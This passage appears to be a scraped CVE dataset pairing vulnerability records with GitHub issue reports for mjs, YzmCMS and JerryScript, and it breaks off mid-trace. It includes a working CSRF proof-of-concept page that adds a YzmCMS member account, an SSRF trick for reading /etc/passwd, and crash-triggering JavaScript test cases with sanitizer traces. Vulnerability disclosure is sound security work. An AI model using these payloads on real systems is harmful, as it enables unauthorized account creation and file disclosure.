#204 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #205 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #206 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #207 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #208 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #209 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #210 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #211 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #212 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #213 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #214 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #215 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #216 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #217 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #218 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #219 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #220 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #221 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #222 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #223 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #224 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #225 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #226 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #227 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #228 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #229 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #230 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #231 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #232 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #233 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #234 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #235 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #236 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #237 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #238 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #239 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #240 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #241 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #242 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #243 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #244 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #245 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #246 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #247 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #248 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #249 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #250 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #251 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #252 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #253 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #254 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #255 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #256 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #257 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #258 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #259 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #260 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #261 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #262 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #263 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #264 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #265 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #266 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #267 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #268 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #269 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #270 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #271 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #272 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #273 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #274 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #275 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #276 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #277 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #278 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #279 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #280 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #281 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #282 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #283 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #284 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #285 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #286 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #287 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #288 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #289 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #290 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #291 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #292 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #293 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #294 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #295 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #296 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #297 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #298 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 SUMMARY: AddressSanitizer: stack-overflow /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12117:25 in findtok ==23779==ABORTING ```

AddressSanitizer: stack-overflow on recursive stack frames: parse_unary, parse_mul_div_rem, parse_plus_minus...

https://api.github.com/repos/cesanta/mjs/issues/136/comments

2019-05-28T07:28:05Z

2019-05-31T12:47:52Z

https://github.com/cesanta/mjs/issues/136

CVE-2020-35970

2021-06-03T21:15:07.837

An issue was discovered in YzmCMS 5.8. There is a SSRF vulnerability in the background collection management that allows arbitrary file read.

https://github.com/yzmcms/yzmcms/issues/53

github.com

Log in the background management and create a new node in the collection management   Add our url with the attack code   Then click collect  Because two methods are written in the source code If you have curl extensions, use curl_ Close function. If not, use file_ get_ Contents function  And when processing the URL, only the first four characters of the URL are obtained by using the substr function, and whether it is HTTP is judged. If it is, it is checked  Here, you can use the features of PHP. When PHP encounters an unknown protocol, it will throw a warning and set the protocol to null. When the Protoco is null or file, the local operation will be carried out. By default, the local file operation will be performed if the protocol is not transferred or the protocol does not exist. Therefore, we can use a custom protocol, such as httpxxx, which can start from HTTP, but can't be HTTPS. We can try to read the /etc/passwd file  Then click collect  The file was read successfully

There are SSRF vulnerabilities in background collection management

https://api.github.com/repos/yzmcms/yzmcms/issues/53/comments

2020-12-14T15:14:20Z

2021-01-24T06:14:40Z

https://github.com/yzmcms/yzmcms/issues/53

CVE-2020-35971

2021-06-03T21:15:07.887

A storage XSS vulnerability is found in YzmCMS v5.8, which can be used by attackers to inject JS code and attack malicious XSS on the /admin/system_manage/user_config_edit.html page.

https://github.com/yzmcms/yzmcms/issues/54

github.com

Hi, I would like to report Cross Site Scripting vulnerability in YzmCMS V5.8 Description: In the content.class.php row 42, No filtering of the searinfo parameterA xss vulnerability was discovered in yzmcms. In YzmCMS v5.8, stored XSS exists via the /admin/system_manage/user_config_edit.html value parameter, which allows remote attackers to inject arbitrary web script or HTML.    

YzmCMS V5.8 XSS bug

https://api.github.com/repos/yzmcms/yzmcms/issues/54/comments

2020-12-30T09:52:17Z

2021-01-24T06:26:45Z

https://github.com/yzmcms/yzmcms/issues/54

CVE-2020-35972

2021-06-03T21:15:07.920

An issue was discovered in YzmCMS V5.8. There is a CSRF vulnerability that can add member user accounts via member/member/add.html.

https://github.com/yzmcms/yzmcms/issues/55

github.com

After the administrator logged in, open the following the page POC: Csrf.html ``` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="referrer" content="never"> <title>csrf</title> </head><body> <form action="http://localhost/member/member/add.html" method="post"> <input type="hidden" name="username" value="test"> <input type="hidden" name="password" value="123456"> <input type="hidden" name="nickname" value="123456"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="groupid" value="1"> <input type="hidden" name="point" value="0"> <input type="hidden" name="overduedate" value=""> <input type="hidden" name="dosubmit" value="1"> </form> <script> let oForm = document.querySelector('form'); oForm.submit(); </script> </body> </html> ```  Refresh page after opening 

There is a CSRF vulnerability to add users

https://api.github.com/repos/yzmcms/yzmcms/issues/55/comments

2020-12-30T12:40:28Z

2021-01-24T06:17:20Z

https://github.com/yzmcms/yzmcms/issues/55

CVE-2020-23302

2021-06-10T23:15:07.740

There is a heap-use-after-free at ecma-helpers-string.c:772 in ecma_ref_ecma_string in JerryScript 2.2.0

https://github.com/jerryscript-project/jerryscript/issues/3748

github.com

###### JerryScript revision bd1c4df ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --lto=off --error-message=on --system-allocator=on ###### Test case var o = [] function add(i) { delete o[i & 31]; new RegExp([ '"\\u', ], "g").exec(1); } for (var i = 0; i < 130; i++) { add(i) } ###### Output ================================================================= ==97694==ERROR: AddressSanitizer: heap-use-after-free on address 0xf61005b0 at pc 0x080605b2 bp 0xff856d28 sp 0xff856d18 READ of size 4 at 0xf61005b0 thread T0 #0 0x80605b1 in ecma_ref_ecma_string /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:772 #1 0x808ef54 in ecma_regexp_create_props /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:144 #2 0x808f562 in ecma_op_regexp_initialize /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:322 #3 0x808f850 in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:393 #4 0x80dd0ed in ecma_builtin_regexp_dispatch_helper /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:179 #5 0x80dd154 in ecma_builtin_regexp_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:223 #6 0x807ae83 in ecma_builtin_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1160 #7 0x8084a81 in ecma_op_function_construct /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1229 #8 0x80b7b62 in opfunc_construct /home/jerryscript/jerry-core/vm/vm.c:849 #9 0x80c2df8 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4151 #10 0x80c32fb in vm_run /home/jerryscript/jerry-core/vm/vm.c:4232 #11 0x8083ff1 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:886 #12 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085 #13 0x80b75f1 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:764 #14 0x80c2de5 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4130 #15 0x80c32fb in vm_run /home/jerryscript/jerry-core/vm/vm.c:4232 #16 0x80b6f6a in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:321 #17 0x804e249 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:596 #18 0x804ad3f in main /home/jerryscript/jerry-main/main-unix.c:759 #19 0xf7875636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #20 0x8049030 (/home/jerryscript/build/bin/jerry+0x8049030) 0xf61005b0 is located 0 bytes inside of 15-byte region [0xf61005b0,0xf61005bf) freed by thread T0 here: #0 0xf7aa9a84 in free (/usr/lib32/libasan.so.2+0x96a84) #1 0x8095b14 in jmem_heap_free_block_internal /home/jerryscript/jerry-core/jmem/jmem-heap.c:476 #2 0x8095eac in jmem_heap_free_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:685 #3 0x80c3453 in ecma_dealloc_string_buffer /home/jerryscript/jerry-core/ecma/base/ecma-alloc.c:208 #4 0x806096f in ecma_destroy_ecma_string /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:844 #5 0x8060740 in ecma_deref_ecma_string /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:816 #6 0x808f7e1 in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:384 #7 0x80dd0ed in ecma_builtin_regexp_dispatch_helper /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:179 #8 0x80dd154 in ecma_builtin_regexp_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:223 #9 0x807ae83 in ecma_builtin_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1160 #10 0x8084a81 in ecma_op_function_construct /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1229 #11 0x80b7b62 in opfunc_construct /home/jerryscript/jerry-core/vm/vm.c:849 #12 0x80c2df8 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4151 #13 0x80c32fb in vm_run /home/jerryscript/jerry-core/vm/vm.c:4232 #14 0x8083ff1 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:886 #15 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085 #16 0x80b75f1 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:764 #17 0x80c2de5 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4130 #18 0x80c32fb in vm_run /home/jerryscript/jerry-core/vm/vm.c:4232 #19 0x80b6f6a in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:321 #20 0x804e249 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:596 #21 0x804ad3f in main /home/jerryscript/jerry-main/main-unix.c:759 #22 0xf7875636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) previously allocated by thread T0 here: #0 0xf7aa9dee in malloc (/usr/lib32/libasan.so.2+0x96dee) #1 0x809581b in jmem_heap_alloc /home/jerryscript/jerry-core/jmem/jmem-heap.c:254 #2 0x80958eb in jmem_heap_gc_and_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:289 #3 0x809596a in jmem_heap_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:323 #4 0x8066032 in ecma_stringbuilder_create_from /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:2456 #5 0x80c8f17 in ecma_builtin_array_prototype_join /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:368 #6 0x80cd66a in ecma_builtin_array_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2653 #7 0x807aa06 in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1095 #8 0x807abac in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1119 #9 0x8083dce in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:782 #10 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085 #11 0x80c885f in ecma_builtin_array_prototype_object_to_string /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:151 #12 0x80cd4d5 in ecma_builtin_array_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2596 #13 0x807aa06 in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1095 #14 0x807abac in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1119 #15 0x8083dce in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:782 #16 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085 #17 0x80877f8 in ecma_op_general_object_ordinary_value /home/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:324 #18 0x8087718 in ecma_op_general_object_default_value /home/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:289 #19 0x808bc85 in ecma_op_object_default_value /home/jerryscript/jerry-core/ecma/operations/ecma-objects.c:1720 #20 0x80803b5 in ecma_op_to_primitive /home/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:199 #21 0x80809c0 in ecma_op_to_string /home/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:413 #22 0x809322a in ecma_regexp_read_pattern_str_helper /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:1618 #23 0x808f694 in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:352 #24 0x80dd0ed in ecma_builtin_regexp_dispatch_helper /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:179 #25 0x80dd154 in ecma_builtin_regexp_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:223 #26 0x807ae83 in ecma_builtin_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1160 #27 0x8084a81 in ecma_op_function_construct /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1229 #28 0x80b7b62 in opfunc_construct /home/jerryscript/jerry-core/vm/vm.c:849 #29 0x80c2df8 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4151 SUMMARY: AddressSanitizer: heap-use-after-free /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:772 ecma_ref_ecma_string Shadow bytes around the buggy address: 0x3ec20060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec20070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec20080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec20090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec200a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x3ec200b0: fa fa fa fa fa fa[fd]fd fa fa fd fa fa fa fd fa 0x3ec200c0: fa fa 00 07 fa fa 00 05 fa fa 00 07 fa fa fd fd 0x3ec200d0: fa fa 00 00 fa fa 00 05 fa fa 00 05 fa fa 00 07 0x3ec200e0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd 0x3ec200f0: fa fa 00 00 fa fa 00 00 fa fa 00 06 fa fa 00 00 0x3ec20100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==97694==ABORTING Credits: This vulnerability is detected by chong from OWL337.

heap-use-after-free in the ecma_ref_ecma_string

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3748/comments

2020-05-17T03:19:15Z

2020-05-20T10:10:06Z

https://github.com/jerryscript-project/jerryscript/issues/3748

CVE-2020-23303

2021-06-10T23:15:07.780

There is a heap-buffer-overflow at jmem-poolman.c:165 in jmem_pools_collect_empty in JerryScript 2.2.0.

https://github.com/jerryscript-project/jerryscript/issues/3749

github.com

###### JerryScript revision bd1c4df ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --lto=off --error-message=on --system-allocator=on ###### Test case try { [].length = { valueOf: function() { return String("abcdabcd").split("").push (-62167219200000, '"\\ubad"', '"\\u', new RegExp([ 4294967294, ], "g").exec(1), 1, 1, 1, 1, 1, 1), Object.freeze (Array.prototype); } } assert (false); } catch (e) { Array.prototype.splice(Function.prototype, ("function a() { return 8; }"), this); } ###### Output Script Error: TypeError: Invalid argument type. ================================================================= ==97903==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf6000260 at pc 0x0809632c bp 0xfff4f018 sp 0xfff4f008 READ of size 4 at 0xf6000260 thread T0 #0 0x809632b in jmem_pools_collect_empty /home/jerryscript/jerry-core/jmem/jmem-poolman.c:165 #1 0x8095f01 in jmem_pools_finalize /home/jerryscript/jerry-core/jmem/jmem-poolman.c:44 #2 0x809553f in jmem_finalize /home/jerryscript/jerry-core/jmem/jmem-allocator.c:161 #3 0x804d6a6 in jerry_cleanup /home/jerryscript/jerry-core/api/jerry.c:255 #4 0x804b545 in main /home/jerryscript/jerry-main/main-unix.c:994 #5 0xf7801636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #6 0x8049030 (/home/jerryscript/build/bin/jerry+0x8049030) 0xf6000260 is located 8 bytes to the right of 8-byte region [0xf6000250,0xf6000258) allocated by thread T0 here: #0 0xf7a35dee in malloc (/usr/lib32/libasan.so.2+0x96dee) #1 0x809581b in jmem_heap_alloc /home/jerryscript/jerry-core/jmem/jmem-heap.c:254 #2 0x80958eb in jmem_heap_gc_and_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:289 #3 0x8095952 in jmem_heap_alloc_block_internal /home/jerryscript/jerry-core/jmem/jmem-heap.c:308 #4 0x809606b in jmem_pools_alloc /home/jerryscript/jerry-core/jmem/jmem-poolman.c:85 #5 0x80c3351 in ecma_alloc_number /home/jerryscript/jerry-core/ecma/base/ecma-alloc.c:57 #6 0x806737c in ecma_create_float_number /home/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:487 #7 0x8067fc4 in ecma_copy_value /home/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:838 #8 0x8068172 in ecma_fast_copy_value /home/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:881 #9 0x8089f60 in ecma_op_object_find_own /home/jerryscript/jerry-core/ecma/operations/ecma-objects.c:505 #10 0x808a810 in ecma_op_object_get_with_receiver /home/jerryscript/jerry-core/ecma/operations/ecma-objects.c:830 #11 0x808a916 in ecma_op_object_get /home/jerryscript/jerry-core/ecma/operations/ecma-objects.c:799 #12 0x808a916 in ecma_op_object_get_by_uint32_index /home/jerryscript/jerry-core/ecma/operations/ecma-objects.c:862 #13 0x80c8d98 in ecma_op_array_get_to_string_at_index /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:310 #14 0x80c8ed9 in ecma_builtin_array_prototype_join /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:360 #15 0x80cd66a in ecma_builtin_array_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2653 #16 0x807aa06 in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1095 #17 0x807abac in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1119 #18 0x8083dce in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:782 #19 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085 #20 0x80c885f in ecma_builtin_array_prototype_object_to_string /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:151 #21 0x80cd4d5 in ecma_builtin_array_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2596 #22 0x807aa06 in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1095 #23 0x807abac in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1119 #24 0x8083dce in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:782 #25 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085 #26 0x80877f8 in ecma_op_general_object_ordinary_value /home/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:324 #27 0x8087718 in ecma_op_general_object_default_value /home/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:289 #28 0x808bc85 in ecma_op_object_default_value /home/jerryscript/jerry-core/ecma/operations/ecma-objects.c:1720 #29 0x80803b5 in ecma_op_to_primitive /home/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:199 #30 0x80809c0 in 